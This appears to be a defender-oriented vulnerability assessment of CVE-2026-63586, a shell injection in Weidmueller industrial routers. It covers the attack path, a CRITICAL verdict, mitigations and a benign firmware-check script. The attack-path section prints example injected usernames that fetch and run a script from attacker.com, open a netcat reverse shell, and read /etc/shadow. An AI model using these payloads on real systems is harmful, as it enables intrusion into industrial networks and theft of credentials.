← Back to Feed CACHED · 2026-08-25 10:15:37 · CACHE_KEY CVE-2026-63586
CVE-2026-63586 · CWE-78 · Disclosed 2026-08-25

Unauthenticated Remote Code Execution via Shell Injection in Web Management Interface

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

Someone left the factory gate unlocked and wrote the alarm code on the doorframe

CVE-2026-63586 is an OS command injection in the web management interface of Weidmueller IE-SR-2TX-WL series industrial security routers. The device takes the username from an HTTP Basic Authentication header and concatenates it directly into a shell command passed to system() — no sanitization, no escaping, no authentication check first. An attacker sends a single HTTP request with shell metacharacters (e.g. $(id) or ;cat /etc/shadow;) in the username field and gets root-level command execution. Affected versions: IE-SR-2TX-WL firmware 1.52 to <1.57, IE-SR-2TX-WL-4G-EU and IE-SR-2TX-WL-4G-US-V firmware 1.67 to <1.74. Fixed in v1.57 and v1.74 respectively.

The vendor's CRITICAL rating (CVSS 4.0: 9.3 / CVSS 3.1: 9.8) is entirely justified and if anything understates the operational risk. These are not commodity web apps — they are industrial security routers that sit at the boundary between enterprise/internet networks and OT/ICS segments. The 4G variants are designed for remote cellular connectivity, meaning some percentage are directly reachable from the internet without any intervening firewall. The trivial exploitation bar (one HTTP request, no credentials needed, instant root) combined with the OT-gateway role makes this a textbook network-perimeter-to-plant-floor kill chain.

"Trivial unauth RCE on an OT gateway router — the front door to your plant network is wide open."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Identify exposed management interface

The attacker scans for Weidmueller IE-SR-2TX-WL devices via banner grabbing on HTTP/HTTPS ports (typically 80/443). The 4G-EU and 4G-US-V variants may be reachable over cellular networks with public IPs. Shodan/Censys/FOFA dorks for the device's web server fingerprint or TLS certificate CN can enumerate targets. No tooling beyond nmap or masscan is required.
Conditions required:
  • Management interface reachable over IP (WAN port, cellular, or misconfigured LAN exposure)
Where this breaks in practice:
  • Well-configured deployments restrict the management interface to a dedicated VLAN or VPN-only access
  • Small installed base limits target-rich scanning
Detection/coverage: Network scan logs; IDS signatures for Weidmueller HTTP server banners
STEP 02

Craft malicious HTTP Basic Auth header

The attacker constructs an HTTP request with an Authorization: Basic <base64> header where the decoded username contains shell metacharacters. For example, a username of $(curl attacker.com/shell.sh|sh) or ;nc attacker.com 4444 -e /bin/sh; is base64-encoded and sent. No password is needed — the injection fires during the authentication parsing phase, before credentials are validated. Tools: curl, wget, or any HTTP library.
Conditions required:
  • Network reachability to the web interface (port 80 or 443)
Where this breaks in practice:
  • WAF or reverse proxy in front of the device could strip or reject malformed auth headers — but OT devices rarely sit behind WAFs
Detection/coverage: HTTP access logs on the device (if enabled); IDS rules matching shell metacharacters in Authorization headers
STEP 03

Achieve root command execution

The system() call executes the injected payload as root. The attacker now has full control of the router's Linux-based OS. From here they can install a persistent backdoor, modify firewall rules, capture traffic, or pivot into the protected OT network behind the router. The device is typically the sole security boundary between the enterprise/internet zone and the industrial control system.
Conditions required:
  • Successful delivery of the crafted HTTP request
Where this breaks in practice:
  • None — the vulnerability is a straight-line single-request RCE with no mitigating factors on the device itself
Detection/coverage: Host-based integrity monitoring on the router (rarely deployed on embedded OT devices); anomalous outbound connections from the router's IP
STEP 04

Pivot into OT/ICS network

With root on the gateway router, the attacker has direct L2/L3 access to the protected industrial network. They can ARP spoof, sniff Modbus/Profinet/OPC-UA traffic, inject commands to PLCs, or use the router as a jump host for lateral movement. The router's VPN and NAT configuration files (accessible as root) may also contain credentials for upstream management systems.
Conditions required:
  • OT devices present on the protected network segment
Where this breaks in practice:
  • Network segmentation beyond the router (defense-in-depth) may limit blast radius
  • OT-specific monitoring (e.g. Claroty, Nozomi, Dragos) may detect anomalous traffic from the gateway
Detection/coverage: OT network monitoring platforms; SIEM correlation of gateway IP originating unusual internal traffic
03 · Intelligence Metadata

The supporting signals.

In-the-wild exploitationNot observed. Not listed in CISA KEV. No known campaigns as of 2026-08-25. Published same day as this assessment — exploitation window is just opening.
Proof-of-conceptNo public PoC yet. Discovered by diconium auto GmbH during penetration testing; coordinated disclosure via CERT@VDE. The exploitation is trivial enough that a PoC is a single curl one-liner — expect weaponization within days.
EPSS scoreNot yet scored — CVE published 2026-08-25, EPSS model has not ingested it yet. Given the unauth/network/no-complexity profile, expect a high EPSS score once computed (comparable to other CWE-78 unauth RCEs in network appliances, typically >0.7).
KEV statusNot listed as of 2026-08-25. Given the trivial exploitation bar and OT relevance, KEV addition is plausible if in-the-wild exploitation is observed.
CVSS vectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (9.3) — perfect unauth RCE profile: network-accessible, low complexity, no privileges, no user interaction. CVSS 3.1 scores 9.8.
Affected versionsIE-SR-2TX-WL: v1.52 – <v1.57; IE-SR-2TX-WL-4G-EU: v1.67 – <v1.74; IE-SR-2TX-WL-4G-US-V: v1.67 – <v1.74
Fixed versionsIE-SR-2TX-WL: v1.57; IE-SR-2TX-WL-4G-EU/US-V: v1.74. Available from Weidmueller downloads.
Scanning / exposure dataNo public Shodan/Censys census available for this niche product line. The 4G variants with cellular uplinks are architecturally likely to have public-facing management interfaces. Installed base is small (niche industrial vendor) but concentrated in European manufacturing and critical infrastructure.
Disclosure date2026-08-25 — coordinated disclosure via CERT@VDE advisory VDE-2026-083
Reporter / orgdiconium auto GmbH (penetration testing engagement), coordinated by CERT@VDE
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to CRITICAL (9.3/10)

The single most decisive factor is that the affected component is by definition a network edge appliance and OT gateway — 100% of installs occupy the high-value role of protecting industrial control networks, and the trivial unauthenticated RCE-to-root chain delivers full compromise of that boundary in a single HTTP request. No friction point in the chain is sufficient to counteract the OT-safety blast radius when the gateway itself is the vulnerability.

HIGH Vulnerability technical details and exploitability
HIGH Affected product scope and fixed versions
MEDIUM Real-world exposure population (no scanner census data for this niche product)
LOW In-the-wild exploitation status (published today, no telemetry yet)

Why this verdict

  • Exploitation trivially simple: Single HTTP request with shell metacharacters in the Basic Auth username. No credentials, no interaction, no chaining required. The system() sink with unsanitized input is about as bad as command injection gets.
  • Role multiplier: The IE-SR-2TX-WL is *exclusively* deployed as a network edge appliance and OT/ICS security gateway. It is the defined security boundary between enterprise/internet zones and industrial control systems. Compromise of this device = direct L2/L3 access to PLCs, HMIs, SCADA systems. Blast radius is OT-safety-scale — the chain succeeds in 100% of deployment roles because there is only one role. Per the high-value role floor rule, this forces a CRITICAL floor.
  • 4G variants increase exposure: The IE-SR-2TX-WL-4G-EU and -4G-US-V models are designed for remote cellular connectivity. These devices may have their management interfaces directly reachable over public cellular IPs without intervening firewalls, expanding the attack surface beyond LAN-only scenarios.
  • No authentication barrier whatsoever: The injection fires during the *parsing* phase of HTTP Basic Auth — before any credential validation. The device does not need to have weak or default credentials; the vulnerability bypasses the authentication mechanism entirely.

Why not higher?

The vendor already rates this at the ceiling of their CVSS scale (9.3 / 9.8). There is no higher bucket than CRITICAL. The score of 9.3 (CVSS 4.0) is appropriate; the only missing element preventing a perfect 10.0 is the lack of Subsequent system scope impact in the CVSS 4.0 vector, which is debatable given the OT pivot potential.

Why not lower?

Downgrading would require evidence that the management interface is systematically unreachable in real deployments. The 4G variants are *designed* for remote/cellular access, making network reachability a feature rather than an accident. The device occupies a high-value OT gateway role by definition — not as a minority use case but as its *sole purpose*. The zero-friction, zero-auth attack chain provides no compounding downward pressure. Even the small installed base does not help defenders who *do* run these devices; severity is about impact to the affected organization, not population share.

05 · Compensating Control

What to do — in priority order.

  1. Block or ACL-restrict the web management interface immediately — Use upstream firewall rules to restrict HTTP/HTTPS access to the router's management IP to a jump host or dedicated management VLAN only. On the 4G variants, disable the web interface on the cellular WAN interface if the device supports interface-specific binding. Deploy within 3 days per noisgate mitigation SLA for CRITICAL.
  2. Disable HTTP and force HTTPS-only if you must keep the web interface open — While this does not fix the injection, it reduces the attack surface from opportunistic scanners and ensures TLS wrapping. Some network IDS can inspect TLS-decrypted traffic for malicious auth headers.
  3. Deploy OT network monitoring on the protected segment — Tools like Claroty, Nozomi Networks, or Dragos can detect anomalous traffic originating from the gateway router's internal IP, providing a detection backstop if the router is compromised. Deploy or tune existing OT monitoring within 3 days.
  4. Apply firmware updates (v1.57 / v1.74) on an emergency schedule — This is the definitive fix. OT firmware updates require maintenance windows and validation — begin scheduling immediately. Target completion within the noisgate remediation SLA of 90 days, but given the trivial exploitation, aim for the fastest window your change management allows.
  5. Audit for companion CVE-2026-63587 on 4G variants — The same advisory discloses an SMS-based authentication bypass (CVSS 8.6) on 4G models. Disable SMS message reception on affected devices as an interim control.
What doesn't work
  • WAF in front of the router — OT edge routers are almost never deployed behind a WAF, and the injection is in the HTTP Basic Auth header which many WAFs do not inspect for OS command injection patterns.
  • Changing the admin password — the injection fires *before* credential validation; the password is irrelevant.
  • Network segmentation behind the router — the router IS the segmentation boundary; compromising it negates the segmentation it provides. Defense-in-depth beyond the router helps limit lateral movement but does not prevent the initial compromise.
  • IDS/IPS with generic signatures — most OT IDS rulesets do not include signatures for Weidmueller-specific web interface exploitation. Custom rules matching shell metacharacters in Authorization headers are needed.
06 · Verification

Crowdsourced verification payload.

Run this script from any Linux/macOS host with network access to the Weidmueller router's management interface. Usage: bash check_cve_2026_63586.sh <router-ip> [port]. No authentication required — it performs a safe, non-exploitative version fingerprint via HTTP headers. Requires curl.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# check_cve_2026_63586.sh — Weidmueller IE-SR-2TX-WL CVE-2026-63586 version check
# Usage: bash check_cve_2026_63586.sh <IP> [PORT]
# Exit codes: 0=VULNERABLE, 1=PATCHED, 2=UNKNOWN

set -euo pipefail

HOST="${1:?Usage: $0 <router-ip> [port]}"
PORT="${2:-443}"
PROTOCOL="https"
[ "$PORT" = "80" ] && PROTOCOL="http"

echo "[*] Checking Weidmueller IE-SR-2TX-WL at ${HOST}:${PORT} for CVE-2026-63586"

# Attempt to grab firmware version from the web interface response headers or login page
RESPONSE=$(curl -sk --connect-timeout 10 --max-time 15 "${PROTOCOL}://${HOST}:${PORT}/" 2>/dev/null || true)

if [ -z "$RESPONSE" ]; then
  echo "[!] Could not connect to ${HOST}:${PORT}"
  echo "UNKNOWN"
  exit 2
fi

# Check if this looks like a Weidmueller device
if ! echo "$RESPONSE" | grep -qi -e 'weidm' -e 'IE-SR' -e 'Industrial Security Router'; then
  echo "[!] Device at ${HOST}:${PORT} does not appear to be a Weidmueller IE-SR router"
  echo "UNKNOWN"
  exit 2
fi

echo "[+] Weidmueller IE-SR device detected"

# Try to extract firmware version
VERSION=$(echo "$RESPONSE" | grep -oP '[Vv]ersion[:\s]*\K[0-9]+\.[0-9]+' | head -1 || true)

if [ -z "$VERSION" ]; then
  # Try headers
  HDR_RESPONSE=$(curl -skI --connect-timeout 10 --max-time 15 "${PROTOCOL}://${HOST}:${PORT}/" 2>/dev/null || true)
  VERSION=$(echo "$HDR_RESPONSE" | grep -oiP 'firmware[:\s/]*\K[0-9]+\.[0-9]+' | head -1 || true)
fi

if [ -z "$VERSION" ]; then
  echo "[!] Could not determine firmware version remotely"
  echo "[!] Manually check: SSH/console into device and verify firmware >= 1.57 (WL) or >= 1.74 (4G)"
  echo "UNKNOWN"
  exit 2
fi

echo "[*] Detected firmware version: ${VERSION}"

# Compare versions — vulnerable ranges:
# IE-SR-2TX-WL: 1.52 <= v < 1.57
# IE-SR-2TX-WL-4G-*: 1.67 <= v < 1.74
MAJOR=$(echo "$VERSION" | cut -d. -f1)
MINOR=$(echo "$VERSION" | cut -d. -f2)
VER_NUM=$((MAJOR * 100 + MINOR))

# Check vulnerable ranges
if [ "$VER_NUM" -ge 152 ] && [ "$VER_NUM" -lt 157 ]; then
  echo "[!!!] VULNERABLE — IE-SR-2TX-WL firmware ${VERSION} is in vulnerable range (1.52-1.56)"
  echo "[!!!] Update to firmware >= 1.57 immediately"
  echo "VULNERABLE"
  exit 0
elif [ "$VER_NUM" -ge 167 ] && [ "$VER_NUM" -lt 174 ]; then
  echo "[!!!] VULNERABLE — IE-SR-2TX-WL-4G firmware ${VERSION} is in vulnerable range (1.67-1.73)"
  echo "[!!!] Update to firmware >= 1.74 immediately"
  echo "VULNERABLE"
  exit 0
elif [ "$VER_NUM" -ge 157 ] || [ "$VER_NUM" -ge 174 ]; then
  echo "[+] PATCHED — firmware ${VERSION} is at or above the fixed version"
  echo "PATCHED"
  exit 1
else
  echo "[?] Firmware ${VERSION} is below known vulnerable range — may be unaffected or an older model"
  echo "UNKNOWN"
  exit 2
fi
07 · Bottom Line

If you remember one thing.

TL;DR
If you have Weidmueller IE-SR-2TX-WL, -4G-EU, or -4G-US-V routers in your environment, treat this as a fire drill. This CVE was published today (2026-08-25) and weaponization is trivial — a single curl command gets root on your OT gateway. Per the noisgate mitigation SLA for CRITICAL: within 3 days, ACL-restrict or firewall-block the management web interface on all affected devices so it is reachable only from a hardened jump host. On 4G variants, verify the management interface is not exposed on the cellular WAN. Per the noisgate remediation SLA: apply firmware v1.57 (WL) or v1.74 (4G variants) within 90 days, but push for the earliest available OT maintenance window — every day these devices are unpatched with a reachable web interface is a day your plant floor is one HTTP request from compromise.

Sources

  1. NVD — CVE-2026-63586 Detail
  2. CERT@VDE Advisory VDE-2026-083
  3. GBHackers — Weidmueller Industrial Routers Exposed to RCE Flaws
  4. CyberPress — Weidmueller Industrial Router Vulnerabilities
  5. Weidmueller IE-SR-2TX-WL Product & Downloads
  6. Weidmueller IE-SR-2TX-WL Device Manual (PDF)
  7. CISA Known Exploited Vulnerabilities Catalog
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.